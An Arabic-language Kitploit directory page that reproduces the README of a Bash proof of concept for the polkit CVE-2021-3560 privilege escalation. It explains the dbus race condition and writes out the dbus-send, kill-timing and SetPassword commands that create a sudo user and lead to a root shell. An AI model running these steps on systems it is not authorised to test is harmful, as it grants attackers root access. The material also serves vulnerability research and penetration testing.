Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-3560-PolkitPrivilegeEsclation — نص برمجي آلي بلغة Bash (PoC) لتصعيد الامتيازات عبر الثغرة CVE-2021-3560 في polkit. يستغل حالة سباق التوقيت (race condition) في dbus لإنشاء مستخدم بصلاحيات sudo والحصول على قشرة root على توزيعات لينكس المعرّضة للثغرة. | Kitploit
أدوات/GitHubGitHub/yutasato88/cve-2021-3560-polkitprivilegeesclation
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالما بعد الاستغلالاختبار الاختراقالفريق الأحمر
GitHubyutasato88/cve-2021-3560-polkitprivilegeesclation

CVE-2021-3560-PolkitPrivilegeEsclation

نص برمجي آلي بلغة Bash (PoC) لتصعيد الامتيازات عبر الثغرة CVE-2021-3560 في polkit. يستغل حالة سباق التوقيت (race condition) في dbus لإنشاء مستخدم بصلاحيات sudo والحصول على قشرة root على توزيعات لينكس المعرّضة للثغرة.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

CVE-2021-3560-Polkit-Privilege-Esclation PoC

البحث الأصلي بقلم Kevin Backhouse

هذا مجرد سكربت PoC بلغة Bash، يعمل على أتمتة خطوات الاستغلال المذكورة في مدونة Kevin Backhouse. اقرأ منشوره حول هذه الثغرة: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

الاستخدام

root@kitploit:~
USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

أمور يجب ملاحظتها:

  • يعمل هذا الاستغلال فقط على التوزيعات التي تم تثبيت accountsservice وgnome-control-center عليها، ويجب أن يكون لديها polkit الإصدار 0.113 (أو أحدث) أو 0-105-26 (نسخة دبيان المشتقة من polkit).
  • تم اختبار هذا الاستغلال على Ubuntu 20.04، مع polkit الإصدار 0-105-26 (نسخة دبيان المشتقة من polkit)، وعلى Centos 8 مع polkit الإصدار 0.115. إذا كنت متأكدًا من أن هدفك معرّض للثغرة، لكن وظيفة الفحص في الاستغلال تفشل، فاستخدم الخيار -f=y لتجاوز جميع الفحوصات وإجبار الاستغلال على التنفيذ.
  • تبين أن التوزيعات مثل RHEL 8 وFedora 21 وDebian testing ("bullseye") وUbuntu 20.04 معرّضة للثغرة.
  • يمكن العثور على قائمة بتوافق التوزيعات من Kevin.

كيف يعمل الاستغلال؟

يتم تقديم شرح شامل وPoC لاستغلال هذه الثغرة يدويًا بالتفصيل في مدونة الباحث.

الخلاصة المختصرة (TL;DR) لهذا الاستغلال موضحة أدناه:

  • يتطلب هذا الهجوم توقيتًا دقيقًا، ويجب علينا تسجيل الدخول عبر SSH (أو بعض جلسات سطر الأوامر، حيث لا يكون فتح التطبيقات الرسومية خيارًا متاحًا).
  • يمكن للمهاجم استغلال هذه الثغرة عن طريق تحفيز polkit بإرسال رسالة dbus، مع إغلاق الطلب فجأة بينما يقوم polkit بمعالجة الطلب. بعد ذلك يمكن للمهاجم إرسال طلب ثانٍ باستخدام معرّف الناقل الفريد للطلب السابق، لتنفيذ الطلب بصلاحيات UID 0 والمعروف أيضًا باسم root.
  • تكمن هذه الثغرة في polkit، لأنه يعامل UID الخاص باتصال يحمل معرّف ناقل لم يعد موجودًا، على أنه طلب قادم من UID 0. وهذا يعني أنه إذا تمكنا من توقيت الهجوم بشكل صحيح وإنهاء طلبنا الأول في اللحظة المناسبة، فيمكننا إرسال الطلب الثاني بصلاحيات UID 0 والمعروف أيضًا باسم root.
  • يتم حساب توقيت إنهاء الاتصال على أنه الوقت المطلوب لإرسال رسالة dbus مقسومًا على 2. مشروح بالتفصيل هنا.

ما الذي يفعله هذا السكربت فعليًا؟

كما قلت سابقًا، هذا مجرد سكربت bash يقوم بأتمتة إثبات المفهوم (PoC) الخاص بـ Kevin Backhouse. الأوامر الأساسية هي نفسها؛ لقد قمت فقط بأتمتة بعض الخطوات الأولية (مثل ضبط التوقيت الصحيح، فحص الثغرة، إدخال بيانات اعتماد مخصصة، طباعة ألوان جميلة، وما إلى ذلك).

إذا تم تشغيل هذا السكربت دون أي معامل، فإن السلوك الافتراضي لهذا السكربت يكون كما يلي:

  • التحقق من نوع التوزيعة. [باستخدام ملف /etc/os-release.]
  • التحقق من تثبيت accountservice وgnome-control-center. [في توزيعات rhel/centos/fedora، يستخدم rpm -qa، وفي توزيعات debian/ubuntu، يستخدم dpkg -l].
  • إذا تم العثور على التثبيتات، يقوم السكربت بالتحقق من إصدار polkit. [الإصدار 0.113 (أو أحدث) لتوزيعات rhel.centos,fedora، والإصدار 0-105-26 لتوزيعات Debian/Ubuntu]
  • إذا تبين أن إصدار polkit معرّض للثغرة، يبدأ السكربت في الاستغلال
  • أولاً، يقوم السكربت بحساب الوقت المطلوب لإرسال الطلب باستخدام debus-send عن طريق تنفيذ bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null
تنزيل الأداة
مدونة
  • يقوم هذا السكربت بحقن مستخدم جديد في مجموعة sudo. إذا نجح الاستغلال، يمكننا تسجيل الدخول إلى الحساب باستخدام su - <username> مع كلمة المرور المقدمة للسكربت، ثم إدخال sudo bash للوصول إلى شل بصلاحيات الجذر (root)!
  • نظرًا لأن هذا الهجوم يعتمد على توقيت دقيق، عادةً ما يلزم إجراء محاولات متعددة لكي يعمل هذا الاستغلال.
  • تحذير: لا تقم بتشغيل هذا السكربت في واجهة تسجيل الدخول الرسومية!
  • إذا تم تشغيل هذا السكربت في بيئة تسجيل دخول رسومية، فستستمر الحلقة في إظهار نافذة مصادقة polkit بشكل متكرر. لذا، قم بتشغيل هذا الاستغلال فقط داخل شل SSH/NC.
  • إذا حدث ذلك، اضغط على مفتاح Esc لإغلاق نافذة المصادقة، واضغط Ctrl+C لإنهاء السكربت بسرعة.
  • ثم يتم حساب وقت إنهاء الطلب ($t) بقسمة الوقت المطلوب لإرسال الطلب على 2. ($t=time-required-to-request/2) [يتم حسابه باستخدام awk]
  • بعد حساب الوقت ($t)، يتم تكرار طلب إدراج المستخدم $username secnigma على الهدف 20 مرة. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • إذا كان إدراج المستخدم ناجحًا، [يتم التحقق منه باستخدام id secnigma]، فسيتم إنشاء تجزئة لكلمة المرور [باستخدام bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)
  • ثم يتم تنفيذ أمر إدراج تجزئة كلمة المرور 20 مرة. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!